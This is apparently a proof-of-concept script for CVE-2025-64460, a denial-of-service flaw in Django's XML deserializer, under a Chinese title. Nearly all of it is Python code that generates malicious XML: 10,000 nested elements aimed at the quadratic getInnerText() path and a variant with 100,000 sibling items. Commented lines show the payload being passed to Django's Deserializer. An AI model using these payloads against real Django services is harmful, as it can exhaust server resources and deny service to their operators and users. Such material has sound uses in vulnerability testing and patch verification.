CVE-2025-64460 Django XML反序列化器算法复杂度DoS漏洞

import xml.etree.ElementTree as ET # Malicious XML payload designed to trigger algorithmic complexity # in Django's XML deserializer getInnerText() function def generate_malicious_xml(): # Generate XML with deeply nested elements # This exploits the O(n^2) complexity in getInnerText() xml_content = '''<?xml version="1.0"?> <data> <item> <content>''' + '<nested>' * 10000 + 'text' + '</nested>' * 10000 + '''</content> </item> </data>''' return xml_content # Alternative: XML with many sibling elements def generate_exponential_xml(): items = ''.join(['<item>payload</item>' for _ in range(100000)]) return f'''<?xml version="1.0"?> <root>{items}</root>''' # Example usage with Django's XML deserializer # from django.core.serializers.xml_serializer import Deserializer # # malicious_xml = generate_malicious_xml() # deserializer = Deserializer(malicious_xml) # for obj in deserializer: # pass # This will trigger DoS condition if __name__ == '__main__': print('Generating malicious XML payload...') xml = generate_malicious_xml() print(f'Generated {len(xml)} bytes of malicious XML') # Test parsing locally import time start = time.time() try: root = ET.fromstring(xml) print(f'Parse completed in {time.time() - start:.2f}s') except Exception as e: print(f'Parse failed: {e}')